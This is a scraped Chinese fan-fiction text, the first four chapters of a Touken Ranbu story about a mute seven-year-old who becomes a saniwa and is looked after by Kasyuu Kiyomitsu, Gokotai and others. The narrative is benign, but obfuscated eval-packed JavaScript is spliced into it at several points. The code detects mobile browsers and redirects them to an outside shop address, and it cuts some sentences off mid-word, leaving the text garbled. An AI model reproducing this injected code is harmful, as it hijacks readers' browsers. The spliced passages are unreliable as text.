《七岁景光成为审神者后》 1. 第 1 章 “虽然我知道时之政府向来不干人事,但是连七岁小孩都诱骗还是太丧心病狂了吧!” 独立于时空坐标的本丸屋舍内,样貌秀丽的男人一双吊梢眼高高地翘起,他穿着一身黑红色调的服饰,蓦然抬起的手指上指尖还涂着厚厚一层红色指甲油,显然是精心打扮过自己。 此男乃刀剑付丧神之一,他左手紧攥的深红色刀鞘的打刀便是他的本体加州清光。他是河川下游的孩子,前主是江户时代末期新选组队士冲田总司,身为付丧神的他如今与时政有着契约,以辅佐审神者、阻止时空溯行军守护历史的刀剑付丧神而存在。 加州清光目前是这座全新本丸的初始刀剑,才被新上任的审神者唤醒不久。 但此刻加州清光的手指却僭越地抬起,满脸都写着不可思议,指向了被那个通体毛发为橙色的狐狸。 小狐狸名为狐之助,能口吐人言,也是辅佐审神者的式神。 看到狐之助加州清光其实并不意外,他指尖对准的方向是狐之助带来的人类幼童。 是的,他的审神者竟然是一名外表只有七岁的孩子。 作为被唤醒的初始刀剑,加州清光十分明白自己的职责,他将会随狐之助一起协助主人介绍本丸的一切,引领对方熟悉出阵远征等流程,直到主人自主更换近侍,他的责任才算结束。 这是一个全新的本丸,加州清光虽然没有侍奉过其他审神者,但他被唤醒前也作为刀剑存储在时之政府内,多少也有听过关于其他审神者的奇闻。 本丸的审神者往往是被时之政府筛选而出的,他们与时政签订协约,开拓并管理这偌大的本丸及其唤醒的刀剑付丧神。 所以在正式见到审神者之前,加州清光也有猜测过自己的这名现主究竟是何许人也,无论是男是女是人是妖他也都做好了辅佐对方的准备。 但是……! 此刻加州清光只有一种自己的心理准备还是做少了的想法。 虽然他知道时政的许多审神者都是被时之政府用坑蒙拐骗的方式、以极高的利益条件诱惑过来的,用那些审神者的话来说,时政简直就是不做人! 现在的加州清光也总算是见识到了时政的无耻程度了,作为官方机构,时政难道一点底线都没有吗,连七岁小孩都要骗着签契约吗! 问题是他家审神者如果只是年纪上小就算了,大不了近侍辛苦一些,帮忙处理审神者的公务也并非是不行,可是—— 什么叫他家审神者是“家破人亡后被好心时政收养并患有自闭症的可怜小孩”啊! 听着狐之助的介绍,作为本丸目前唯一刀剑的加州清光开始无声地尖叫: 时政那叫好心收养吗,那分明就是诱拐幼童啊!时之政府你们就算是馋人家灵力好歹也要等到人家成年后再诱骗吧! 加州清光也不知道自己究竟是在为自家审神者忿忿不平,还是在宣泄自己的无奈,但不管如何,如今木已成舟,七岁的审神者已然与时之政府签订了契约,而他又是作为初始刀剑被审神者唤醒,身为刀剑付丧神,他唯一能做的也只有顺从。 他的审神者是一名小男孩,而按照狐之助的说法,据说主殿父母的其中一方也是时政曾经契约过的审神者,具体的情况狐之助也不清楚,更不知道那位死去的曾经的审神者究竟是男是女。 但时政正是察觉到了那位不知是姬君还是主殿的审神者的死亡,匆匆赶来现世,这才捡到了躲在橱柜内的他的这位审神者。 七岁的人类男孩,理应不该有这样强大的灵力,但奈何他是审神者二代,身上的那些充沛灵力有极大的一部分是从曾经那位审神者身上转移而来。 时政自然不可能放过这样的香饽饽,也不知道他们是怎么与审神者仅存的监护人进行的沟通,但最终还是连哄带骗地将这名审神者拐来了本丸。 了解完这些情报,加州清光更不知道该如何作想了,他几番欲言又止,但最终还是担起初始刀剑的职责。 考虑到审神者七岁孩童的身高,加州清光不得不半跪下身,努力与其平视:“……我,加州清光。河下游的孩子,河原之子呢。难以上手不过性能一流哦。” 这句开场白他方才被唤醒时就已经说过一次,只是当时审神者未曾回应,加州清光那时有些疑惑,定睛一看才发现自家审神者居然还只是一个幼童,这才有了后面狐之助对他说的那些解释。 他再次说了一遍台词,但面对审神者的心境显然与方才有所不同。 此刻审神者依旧没有说话。 时政的资料显示他患有轻微自闭症,却也并非是不理人的性子。而这名审神者显然是第一次接受如此大礼,看起来有些不自然,还有些无助,他往前迈出了一步,似乎是想扶加州清光起来,但不知道为什么又缩了回去,步伐停在了原地,审神者求助的目光最终落在狐之助身上,似乎是并不知道自己要做些什么。 狐之助提醒:“您只需向您的初始刀剑介绍您的代号就好。”说着,这位时之政府的式神似乎又想起了些什么,连忙叼来了一套纸笔,递给了这名只有七岁的审神者。 哎呀哎呀,犯了个大错误!忘记这名审神者现在没法说话了!如果早点注意到这点的话,他们也不会在初始刀剑这边卡这么久了! 好在一人一刃都没有注意到狐之助的心虚,加州清光的目光专注地停在自家审神者幼小的身躯上。 审神者这样的反应,并非是因为轻微自闭症而不愿意说话,看起来更像是无法言语……审神者居然还同时患有失语证吗…… 啊啊啊啊所以时之政府真的很不是人啊! 初始刀剑的内心活动相当复杂,但审神者可没有像加州清光那样有吐槽的心思,他得了纸笔,终于松了一口气,写下了第一句话。 ‘我的代号是景。’ 许是因为才经历过父母的死亡,代号为景的审神者的状态还没有彻底调理好,他的性格也有些腼腆,此刻面对刀剑付丧神更是有些紧张地抿了抿唇,继续写道: ‘今后要麻烦你们了,请多指教。’ 审神者景写完,又连忙扶起加州清光,作为现代人,他并不习惯被侍奉为主上,此刻的观念里,更认为是自己麻烦了时政、麻烦了他人,即使狐之助解释过很多次他如今就是这座本丸的主人甚至“皇帝”,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228633|197583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仍然还是有些不适应。 好在加州清光很顺从地起身,没有丝毫拖泥带水,审神者景这才彻底呼出一口气,总算没有先前那般踌躇了。 自我介绍这一pa终于走完,但到底是耽搁了太长时间,狐之助连忙奔赴了下一个引导教学,跑到前方吆喝道:“审神者,请随我来!” 接下来是出阵教学。 加州清光对此没什么意见,作为初始刀剑,他也有被时政专门教导过该如何指引审神者,也知道为了后续方便指导审神者手入,初次出阵是没有刀装保护的,所以初始刀受些伤实属再正常不过。 何况1-1的坐标是时之政府为教学特意开发的,危险程度很低,他也并不会受太重的伤。 但加州清光不在意并不代表审神者也不在意。 狐之助相当沉迷自己的工作,滔滔不绝地向审神者景介绍什么是真剑必杀,根本就没有注意到审神者在加州清光受伤的那一刻就攥紧了掌心。 加州清光出阵归来,下一步本该继续引导手入,可狐之助都还没有来得及开口,一直站在时空转换器前未曾敢离开的审神者景就已经迎了过去。 加州清光脚都还没有站稳,身体就被自家团子似的审神者一把抱住。初始刀剑的他也没有想过自己能被审神者这样热情的迎接,还没有来得及感慨自己有被小小的审神者好好疼爱,就忽觉腰间一热,自己的衣襟似乎是被什么沾湿了。 不是方才出阵时的伤口被撕裂,而是来自审神者的眼泪。 加州清光还是头一次瞧见小小的审神者哭泣,明明方才狐之助说起审神者的身世时对方都没有这般难受,怎么自己出阵一回来,审神者就哭得停不下来了呢。 总不能是自己不在本丸的这点时间,是狐之助欺负了审神者吧? 但狐之助不过是一个油豆腐脑袋的式神,不可能有欺负审神者的这个胆子。 加州清光也是头一次接触小孩子,此刻只能茫然半跪下身,轻轻揽住自家审神者,努力在自己付丧神的记忆里找寻着哄孩子的技巧。 那当然是没有的。 他的前主冲田总司当然不会有过这样的经验,身为刀剑付丧神,加州清光更没有什么机会能接触到稚嫩的孩童。 此刻审神者豆大的泪珠一颗颗地砸了下来,不仅染湿了加州清光的胸襟,更有一些划过了加州清光细微的伤口上。 那其实并不疼,作为冲田总司的刀刃,加州清光可是受过比这些还要严重的伤。但新鲜的伤口被生理性盐水砸中的下一秒,加州清光还是出于本能地嘶了一声。 尽管声音十分微弱,但扑到他怀里的审神者景还是听见了。 审神者景显然也意识到了些什么,他的眼泪已经糊满了整张脸,眼眶旁还挂着晶莹剔透的泪珠,欲掉不掉,一副惹人怜爱的模样,但他还是尽力从近侍的怀中爬了出来,抽抽泣泣地道着歉。 ‘对不起,’ 刚出阵归来的初始刀剑清晰地看见,审神者手中那张纸已经被泪水浸透了大半,有斑斑点点的墨迹晕染在上面,而纸上只写着一句话—— ‘我不是故意害你受伤的。’ 2. 第 2 章 “简直是过分的善良啊,主殿……” 加州清光喃喃。 他的主上——代号为景的审神者彼时已经入睡,作为本丸唯一的刀剑及近侍,加州清光自然是要守在审神者的身旁。隔着偌大的屏风,加州清光看不清里面的场景,但狭小的房间只有他们二人,整个空间安静极了,加州清光有时还能听到审神者匀称的呼吸声。 红黑配色的打刀望向审神者入睡的方向,还是忍不住嘀咕了这样一句话。 尽管当时狐之助跳出来解释刀剑受伤是出阵中不可避免遇见的危险,他们还有“手入”这一修复流程,但年幼的审神者还是抱着刀剑付丧神不撒手,表情虽然没有先前那般懊恼,可眼泪仍然停不下来,那副模样简直更加惹人怜爱。 那般的架势,引得加州清光都要怀疑对方会不会因为自己的受伤不肯再派遣刀剑出阵。 说句实话,加州清光心中确实是有些小得意,显然,身为初始刀剑,他在这个本丸、在主上的心中占据了不小的份量,这的确符合他“想要被主人疼爱”的愿望,理应是令加州清光高兴的一点。 但—— 如果这一切是以主上的忧虑与眼泪换来的,那可就是不该了。 当时审神者扑进了他的怀里,加州清光看得清楚,那双原本圆溜溜、像猫一样干净的瞳眸,湿漉漉闪着泪光的眼底除了担忧更多的却是惊惧。 加州清光合理地怀疑,审神者那时的哭泣并不只是因为他的受伤那么简单,更多的恐怕是因此联想到了父母的死亡。 关于那件事,狐之助了解得并不全面,解释得自然也不是全部,但有一点是绝对不会有错的——在那起惨案发生时,年幼的审神者目睹了父母的死亡。 但那时,还不是审神者的男孩躲在橱柜内,他无法解救自己的父母,连哭出声音都不敢; 而彼时,才成为审神者的男孩站在时空转换器前,他无法对受伤的刀剑付丧神提供任何帮助,直到狐之助提醒他可以召唤刀剑男士回程才得以有所行动。 所以,面对中伤的加州清光,他抱住而哭泣的,不止是眼前的刀剑付丧神,还有那夜他无法救下的父母。 但他的眼前是加州清光,也只是加州清光。 还好审神者还惦念着加州清光受了伤,得知可以手入修复后,他连一秒都没有迟疑,连忙拽着加州清光的衣角往前走,生怕自己的动作慢了一秒会让眼前的付丧神伤势更加严重。 只是审神者刚上任,加州清光也才被唤醒不久,对本丸并不熟悉,那本该没有多少距离的路径却令他们竟险些迷了路,还好作为时政式神的狐之助比这一人一刃靠谱,终于是将他们带进了修理室。 刀剑男士的修理不需要什么复杂的流程,只需要审神者的灵力和些许资源,加州清光现在等级不高,修复起来花不了多少灵力,浪费不了多少资源,修理等待的时间也不长。只是即使如此,和加州清光一起进入修理室的审神者还在小声的抽泣。 加州清光相当无奈,他从来没有想过自己居然还有需要哄审神者的一天,但跪坐在修理室内的付丧神还是揽住了自己眼前这只小小的人类男孩,声音也放柔了许多:“让主殿这样的难过,我也是会感到罪过的啊。” 审神者景瞬间停止了抽泣,他摆着手,显然是想要告知加州清光不要怪罪自己,但他方才哭得太猛,一时间反而刹不住,泪珠挂在他修长的睫毛上,泪眼婆娑的模样反而更加可怜。 人类男孩努力抿着唇,他试图让自己没有那般狼狈,可他方才哭时一抽一抽,此刻蓦然停下绷紧神情,却反而害得自己打了一个绵长的嗝。 审神者摆开的手又连忙捂着嘴,他羞红了整张脸,加州清光却是笑了:“主殿也只是个孩子啊。”初始刀剑动作温柔地为自家主上擦去了眼角的泪痕,“如果因为害怕受伤而不出阵,这可违背了刀剑的使命啊。我,加州清光,虽然很高兴能被主人这样疼爱,但作为刀剑,我更希望能被主人好好使用啦。” “身上的伤是我作为刀剑的功勋,还请主殿允许我再次出阵。” 随后,黑红配色的打刀另一只手握住自己华丽的刀鞘,深红的眼眸里皆是郑重,投向自家审神者身上的目光更是充满了信任,加州清光言道: “况且,我相信主殿,是绝对不会让我碎刀的。” 还好初始刀剑中伤一事并未给审神者留下过多的心理阴影,尽管审神者仍然会不忍心看到刀剑受伤,但不至于连出阵的命令都不忍心下达,不会影响本丸的日课。 而在狐之助的提醒下,最终的结果是加州清光在离开修理室前被挂满了刀装,审神者甚至还将唯一一个御守塞到了加州清光的手中。 这算什么?初始刀剑的福利吗? 虽然说御守后期也能在万屋购买,但这可是时政入职即送的新手礼包里的唯一一个御守,就这样被审神者毫不吝啬地塞到了自己身上,这才是真正能令加州清光得意的事。 但今日耽搁的时间到底还是太久,小小的审神者耗费了太多精力,从修复室出来就有些昏昏欲睡,再次出阵显然是不可能了,就连初次锻刀这样的小事也被安排到了明日。 加州清光抱着七岁的审神者回到天守阁,也总算是开启了他的近侍工作。但现在本丸就他与审神者外加狐之助这个辅助工作的式神,没有其他刀剑,加州清光还真没有什么需要安排的事务,现在唯一要做的也只是守着熟睡的审神者而已。 再说一次,他家小审神者真的是太善良了啊! 但这样也好,起码加州清光能够知晓,他现任的这位主人,是一名品行极佳的审神者。 不过…… 明天必须得带回新的刀剑了啊,看着刀账内孤零零的自己,加州清光呼出一口气,总不可能内番和出阵全部都交给自己来处理吧。 第二天一早,狐之助就带着审神者以及近侍加州清光来到了锻刀室,继续完成昨日未尽的指导任务。初锻刀通常是短刀,不会令审神者等待太久,二十分钟的等待时间几乎是一闪而过,加州清光很快就见着了这座本丸内的第二把刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228634|197583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑。 他甚至还没有看见同为付丧神的同伴,就率先瞧见了对方脚边的几只小老虎。小老虎也看见了门口的加州清光与审神者,年幼的审神者还没有来得及反应,裤腿就已经沉甸甸地,一只小老虎顺着爬了上来。 审神者抱起一只老虎,他一开始还以为是猫,现在才发觉是老虎,幼崽年纪的小老虎与猫咪没有特别大的区别,倒不至于令审神者惧怕。 只是他显然有些疑惑,不明白自己锻的明明是刀,为什么出现的会是老虎。 “是五虎退,粟田口最小的那个孩子。”加州清光解释了一句。 五虎退也在此刻彻底显形,他的脑袋上还顶着一只小老虎,加上他脚边的以及爬到审神者身上的那只,不多不少刚好五只小老虎。 “对不起……”五虎退当然也看到了从自己脚边跑掉的小老虎,自我介绍的台词都来不及说,率先就是一句道歉,他声音怯弱的解释,“……小老虎没有恶意的,我这就让他们回来。” 审神者摇摇头,表明自己并不在意,圆溜溜的眼睛好奇地望向五虎退。 五虎退这才记起要说入手语音,他有些紧张,说得也有些磕磕绊绊:“我……是五虎退。我没有真的击退过老虎……对不起……因为老虎很可怜啊……” 审神者也并不在意这把刀剑究竟有没有真的击退过老虎,只是他看着比自己高不了多少的五虎退,他眨了一下眼睛,像是在问加州清光短刀都是和他一样的小孩子吗。 加州清光回答:“虽然外表是小男孩,但我们可都是活了千百年的刀剑,可比主上的年纪大上不少。主殿不必担心出阵的问题。” 说白了,这个本丸内也只有他们主上是真正的小男孩、时之政府雇佣的童工。不过,外表的年纪相仿,主上应该会和短刀们相性良好吧。 五虎退也才意识到眼前这个看起来比他还要小一些的男孩是唤醒自己的审神者,尽管也有些惊讶,但身为短刀他自己也是小孩子的外表,接受能力也比昨天的加州清光要好上许多。 唯一的御守昨日给了加州清光,作为见面礼,审神者也只能将昨夜加州清光搓得那些金灿灿的刀装分了一个给五虎退——如果不是五虎退只能拿一个,他还想多塞几个表达自己的歉意。 ‘抱歉,’审神者双手合十,手里拿着那张纸上这些写道,‘御守现在只有一个,等我之后赚到小判再补给你。’ 五虎退也没有想过自己有朝一日居然能够拿到那样珍贵的御守,连忙摆手:“不……不用那么麻烦主公大人的……” 他是极其容易获得的短刀,御守这样珍贵的东西交到他手里,未免会有些太过浪费。 ‘很有必要!’ 审神者却摇头,灰蓝色的眼睛亮晶晶地望着眼前银发金眸的付丧神: ‘你是我的初锻刀,是我第二……’ 笔落下的一瞬间,审神者突然划掉了那个二,掰着手指重新数了一下,这才继续写道—— ‘你是我的初锻刀,是我第五位家人!’ 3. 第 3 章 本丸的刀逐渐多了起来。 也不知道是不是审神者的年龄加持,藤四郎们很快就来了一大半,那些常见的短刀也几乎都来到了本丸。 短刀的身量都差不多,围在审神者身边几乎都能将审神者整个淹没,一眼望过去,加州清光竟找不到自家审神者在哪。 虽然相较于其他本丸,他们本丸的人数根本就算不得多,甚至于可以说是少得可怜,但相比审神者刚上任时第一天只有加州清光一人可要好很多了。 审神者刚上任,也不爱压榨刀剑,他资源不多,于是锻刀的次数也显得楚楚可怜,就连那些最容易获得的粟田口的小短刀,只有少部分是在日课锻刀时锻出来的,更多则都是出阵时在战场捡回来的。 另外一提,除了这些小短刀,加州清光出阵还捡回来一把刀——是与他同为冲田总司刀剑的大和守安定。 黑发的打刀跟在同伴的身侧,一双清亮的下垂眼好奇地打量着本丸的一切,脑袋上那条与博美犬尾巴极其相似的马尾来回摆动着,终于向加州清光问出了最疑惑的问题: “审神者在哪?” 他不是审神者在锻造室里锻造出来的刀剑,并没能在第一时间就见到自家主上,但即使是出阵成员捞到的刀剑,回到本丸的第一时间也该是觐见审神者。 所以此刻见不到审神者,大和守安定相当的疑惑。 而他那位跟自己就像是镜像般对称的同伴却异常平静的指了指万叶樱下正在玩闹那群小短裤:“主殿就在哪里。” “诶?”那里分明只有一群孩子,大和守安定有些惊讶,好看的蓝色眼眸眯起,仔细打量着远处的那群小短刀,却更加疑惑了。 审神者自然不可能是同为刀剑付丧神的同僚,以往并没有这般的先例,何况如果真的有这样离奇的设定出现,作为近侍的加州清光也不该这么平静。 所以…… 大和守安定一个个的看了过去,他努力辨认着每一把刀剑,终于在看到一半时发现了一个他认不出的小男孩。 那个小男孩甚至比短刀们还要矮上几厘米,这样的差别很轻微,但仔细看大和守的确能够发现,对方外表也就人类七岁孩童的模样,相貌也比其他短刀要稚嫩许多。 而加州清光也肯定了他的猜测:“那位正是我们的主殿。” 审神者还能混进短刀的队伍里,大和守安定还是头一遭看见这种,又大胆猜测了一波:“我们的审神者,是妖怪吗?” 有些妖怪生来特殊,即使活了几百年,化形时的模样也如人类幼童一般,倒也并不算奇怪。 “呵呵。”然而加州清光却摇头,立即否认了他的这个猜测,“我们的审神者,是货真价实的只有7岁。” 大和守安定瞬间瞪大双眼,他的反应简直与一开始见到审神者的加州清光一样不可置信,甚至发出了一声与加州清光如出一辙时的感叹: “时政这么不做人吗?!” 七岁的小孩也要拉过来当童工,这未免也太丧心病狂了吧?! 加州清光并不意外大和守安定会有如此的反应,他甚至还在心里腹诽,如果对方知审神者还是一位患有失语症的自闭症儿童,恐怕只会更加痛骂时政丧心病狂。 时政的不干人事向来都是写在明面上的,何况大多数审神者即使是一开始被欺骗,但在与自家刀剑男士相处之后都不会舍得离开,所以也几乎很少有人去与时政计较这些,最多痛骂几句出出气,便也不了了之。 对此,加州清光表示,习惯就好。 何况加州清光已经习惯了他这位小小的审神者,如果真因为年龄的问题与自家小小的审神者分离,加州清光恐怕会是整个本丸之中最不情愿的那个。 当然,不情愿归不情愿,如果未成年保护法真的在时政内生效,他们不得不与审神者分离……虽然这个假设几乎没有可能,但如果真有这么一天来临,加州清光大概也不会纠缠对方…… 审神者毕竟还是个孩子,本就不该承担这样的责任。 陪短刀们玩闹的审神者也终于注意到加州清光出征归来了,一双水灵的眼眸瞬间明亮起来,熠熠生辉地望向加州清光的方向,朝自家近侍招了招手。 加州清光领着大和守安定上前,来到了审神者身边。虽然惊讶于自家审神者竟然真的只是一名7岁的人类小孩,但大和守安定也并不会对此质疑些什么,也迅速向审神者做了自我介绍: “大和守安定。虽然很难使用,但我自认是把好剑。” 听着这熟悉的台词风格,审神者景眨了眨眼睛,目光落在加州清光身上,仿佛是在说大和守安定的介绍台词与加州清光的台词好像,就连相貌风格都极其互补。 当了这么久的近侍,加州清光要是还不明白审神者的意思那可真是白当了,抓紧补了一句解释:“我和安定曾经都是冲田的刀剑。” 他们的前主都是冲田总司,这两把刀一红一蓝,颜色互补,他们师出同门,也很容易看穿对方的招数,几乎就像镜子一样对称。 审神者的大概是听懂了,他不会因为两把刀的前主都是同一人这般亲密的关系而对某把刀产生嫌隙,他相当的善良,也相当的天真,大和守安定对他来说是新入手的刀剑,其他刀剑都有见面礼,大和守安定自然也不能少。 见面礼当然还是那些金灿灿的刀装。 收到见面礼的大和守安定像一个得到了新奇玩具的小孩,他看了又看手里的这两个金球,最后还是忍不住问加州清光:“话说你没有得到这份见面礼吗?” 他刚刚也有注意到,短刀身上挂着的,也都是那些特级的金色刀装,唯有将他带回本丸的加州清光身上却是银刀装。 加州清光:“……” 加州清光微笑:“你猜猜这些刀装是出自谁的手?” 这些天但凡是新入手的刀剑,审神者都会一视同仁给见面礼,不能是绿的,甚至也不能是银的,而是那些金灿灿相对稀有的特级刀装。 如果不是那些小短刀们只拿得下一个金球,不然作为近侍的加州清光都会怀疑这些时间内自己的手会不会因此搓得冒烟。 加州清光继续保持微笑:“你再猜猜那些不是特级的刀装又是谁在消耗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228635|197583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他每次制作的成果自然不可能全是恰到好处的特级,还有不少银色、绿色的刀装堆积在仓库。 作为初始刀剑兼近侍,加州清光当然清楚这座新开发的本丸资源是有多么的匮乏,对于那些上级中级的刀装,他当然不可能豪横的直接刀解,浪费自家小审神者本就不多的资源。 他不可能用银绿色的刀装去换审神者特意给小短刀们准备的见面礼,但这些刀装总要有人来消耗,思来想去,最好的人选还是他自己。 加州清光朝着大和守安定哼唧了一声:“不过你要是拿这些特级刀装来换我的刀装,我也是不介意的啦。” “这可不行,”大和守安定立马收好了金灿灿的刀装,“这可是主殿特意给我准备的见面礼,说什么我都不会换出去的。” 加州清光提醒:“本丸人手一个。” 大和守安定却相当看得开:“但我有两个。” 的确,本丸内除了加州清光外的刀剑都是短刀,作为第二把打刀,只有大和守安定拥有着两个特级刀装。 加州清光疑心大和守安定是在朝自己炫耀,但他得到的见面礼可比这些金灿灿的刀装要贵重的许多,倒不会因此拈醋。 要知道本丸唯一的御守就在他手中,谁才是主人最疼爱的刀剑,简直是一目了然。 想到这里,加州清光心里更加高兴,也不打算计较这些。 见加州清光这般反应,还没和自己吵嘴,大和守安定也看出了点端倪,他不难猜出加州清光的见面礼绝对不是那什么银色的刀装,但加州清光是初始刀剑,现在还是帮审神者处理日课的近侍,他也不至于嫉妒对方的见面礼贵重。 就比如现在他们辞别了短刀堆里的审神者,大和守安定陪着加州清光一起来到锻刀室处理日课的锻刀任务。 望着辉煌的锻刀室,大和守安定感慨:“可惜我不是从锻刀室里出来的。”不然他见到的第一个人就能是审神者了。 “就算你不是从锻刀室里出来的,你见到的第一个人也是审神者,”投放资源的加州清光插了一句,“这座本丸就审神者一个人类。” 剩下的都是刀剑,只有审神者景是人。 “不要说这些文字游戏啊!” 大和守安定靠在一边,只是望着加州清光的动作,他忽然注意到了些什么,连忙拦住准备往锻刀炉里投放委托符的加州清光:“等一下!” 他问出一个问题:“主殿是在特意锻短刀吗?” “不是啊,”加州清光摇头,十分诚恳地说,“主殿对刀剑的包容性很强,不管什么刀,他都是可以接受的。只是可能他和粟田口有缘,来的也都是短刀。” 大和守安定的表情瞬间变得复杂了起来,他望着自己的这名同伴,有些欲言又止,但最终还是说了实话:“我好像知道你们为什么只锻出短刀了……” 话说到这里,大和守安定的声音蓦然拔高: “你们没有更改公式啊!” 那两个锻刀炉上显示资源的位置,都无一例外地写着四个默认数字: 50/50/50/50。 4. 第 4 章 加州清光也从来都没有想过自己居然能犯这么低级的错误。 时政的培训也没有写明这一点,根本就没人提醒过加州清光需要更改公式。通常而言,作为近侍的刀剑只是帮忙锻刀,投入的资源的数量往往都是由审神者自己决定。 而偏偏,他们这位审神者又是一个特殊的存在。 其他审神者都是经验老道的人类,即使没有身为审神者的经验,但也能在狐之助介绍锻刀的反应过来,知道是可以投放大于50的资源数量,一般锻完初锻刀就会立刻改了公式,美美接其他刀剑回本丸。 但他家审神者那么小,先不说主上压根不知道还可以改公式,即使是,以他的年龄,也是不敢随意触碰锻刀炉的。 何况加州清光也不忍心让自家年幼的审神者受累,他承包了审神者每日的日课,作为付丧神的他头一次如此劳累,又是出征,又是管理内番,整天忙的焦头烂额,再加上那些本该属于近侍的工作,黑红色的打刀更加无心注意这些。 于是一人一刃都没注意到这件事,就这么一直使用默认公式锻着刀剑,哪怕是粟田口的小短刀们都满地跑了,都没人发现。 这种事能够怪谁呢!这只能够怪时政啊! 天杀的时政!你们为什么要雇佣童工?! 还好忘记更改公式的后果只是多锻了一些小短刀,如今有大和守安定的提醒,及时悬崖勒马,资源亏损也并没有多少。 嘛,反正短刀也是迟早要来的,早点来到本丸也没有什么太大的问题何况他们还能够陪审神者一同玩乐,所以这种问题相当于是没有任何问题! 但总之,多亏了大和守安定的提醒,本次的锻刀日课终于迎来了第一把除了短刀外的刀剑—— “我是烛台切光忠,即使是青铜的烛台也能够一刀斩断,唔……果然还是不帅气啊。” 随着话音的落下,一位身材高挑的太刀逐渐显现,深蓝色的短发遮住了一半的眼眸,刘海下还带着眼罩,露出的那只金色的瞳眸目光如炬,全然是一副冷峻帅哥的模样。 但这位太刀可并不是什么潮男,刀剑显现的那一刻,就连加州清光都有几分激动:太好了,本丸终于有厨子了! 在此之前,本丸虽然也并不是是没人会做饭,就比如他家审神者虽然年纪小,料理手艺却是一绝,加州清光与五虎退有幸尝过,也认为自家审神者在料理方面绝对是有天赋的。 但那可是审神者诶!是他们的主上诶! 主上如果心血来潮想要自己做饭那当然没有问题,刀剑男士们也不可能忤逆主上的意思阻拦对方。 可是哪有审神者整日窝在厨房为自己刀剑做饭的道理啊,那岂不是倒反天罡吗!天理难容啊!何况他家审神者那么小,哪有近侍忍心让审神者做饭的啊! 所以在烛台切光忠到来之前,本丸的一日三餐都是加州清光与一些小短刀一起凑合的,哪怕审神者看不下去想要来厨房帮忙,但最终的结果往往都是被薄脸皮的近侍请出去,又被小短刀拐去了其他地方玩。 听着加州清光喋喋不休的抱怨,大和守安定若有所思,调侃了一句:“这么一看,清光要成为妈妈了呢。” 那可不是吗?! 加州清光头一次认可大和守安定这样的调侃,在这个本丸可真的是前所未有的操心,本丸人不多,又都是短刀,这些短刀逃内番的机动更是一流,没办法,很多时候都只能由加州清光自己亲自上阵解决那些事务。 小到一日三餐的鸡毛蒜皮,大到出阵远征与日课,全部都由加州清光一人完成,加州清光真觉得自己就是那操心的妈妈桑。 但是现在不一样了! 真正的妈妈出现了! 这位看似冷酷无情的独眼帅哥不仅是个厨子,还是位精通各种内番家务擅长照顾人的温柔大家长啊! 要知道这位伊达组的太刀可是为人妻类型的硬汉,有他帮忙分担本丸的内务,加州清光也能轻松不少! 不管如何,本丸有烛台切光忠在,一切都不用愁!本丸的所有刀剑特别是加州清光是极其欢迎这位大家长的! 简直太可靠了啊烛台切先生! 包揽了本丸大小事务的加州清光在得到审神者的准许后当即就将烛台切光忠任命为了厨番长,将整个厨房都化为了烛台切光忠的地盘。 烛台切光忠也没能想到加州清光对自己到来的反应居然会这样激烈,厨番长立即上任,他无奈地笑了几声后,觐见完审神者后又回到厨房帮忙一起准备晚饭。 见面礼照例又是金灿灿的刀装,由加州清光现搓现发。虽然说近侍已经习惯了,烛台切光忠却还是第一次收到来自主人的礼物,他珍惜地接过,小心翼翼地将特级刀装放好。 而大和守安定再也不是唯一有两个金灿灿刀装的刀,但对此大和守的安定依然表情平静,眨了一下眼睛,倒不怎么失落:“但我还是目前本丸唯一有两个金球的打刀!” 这句话是在指谁,不言而喻。 虽然说加州清光是拥有着本丸唯一御守的刀剑,但也还是因此哼唧了几声:“……你非要和我比吗?” 这些刀装都是他日夜兼程搓出来的,有什么可比性! 不过与加州清光和大和守安定不同,在见到小小的审神者时,烛台切光忠并没有什么难以置信的惊讶表情,他的反应更是几乎称得上是平淡,甚至一路上都没有与两位打刀一起吐槽时政。 大和守安定也在厨房帮忙,好奇问道:“烛台切先生居然不惊讶审神者的年龄吗?” 烛台切光忠笑了笑:“不管是哪个年龄段的审神者,在我看来,不都是一个孩子吗?” 他们都是活了千百年的刀剑付丧神,人类的审神者年龄就算再大,自然也不可能大过这群刀剑,所以不管是哪个年龄段的审神者,对于他们而言确实都是一个孩子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 